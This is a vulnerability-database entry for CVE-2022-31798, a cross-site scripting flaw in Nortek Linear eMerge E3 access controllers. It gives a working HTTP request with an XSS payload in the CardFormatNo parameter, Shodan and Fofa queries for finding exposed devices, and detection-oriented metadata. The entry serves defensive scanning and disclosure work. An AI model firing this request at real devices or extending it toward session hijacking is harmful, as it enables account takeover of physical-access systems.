🔙 목록으로 돌아가기

CVE-2022-31798: Nortek Linear eMerge E3-Series - Cross-Site Scripting

TitleNortek Linear eMerge E3-Series - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
RemediationApply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Nortek Linear eMerge E3-Series.
CVSS Score6.1
EPSS Score0.74601
CVE IDCVE-2022-31798
CWE IDCWE-384
Shodan Queryhttp.title:"eMerge"http.title:"emerge"http.title:"linear emerge"
Fofa Querytitle="emerge"title="linear emerge"
Tags cve2022 cve emerge nortek xss packetstorm nortekcontrol vuln

🔍 Vulnerability Description

There is a local session fixation vulnerability that, when chained with cross-site scripting, leads to account take over of admin or a lower privileged user.

🌐 HTTP Request

GET /card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-31798.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-31798.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A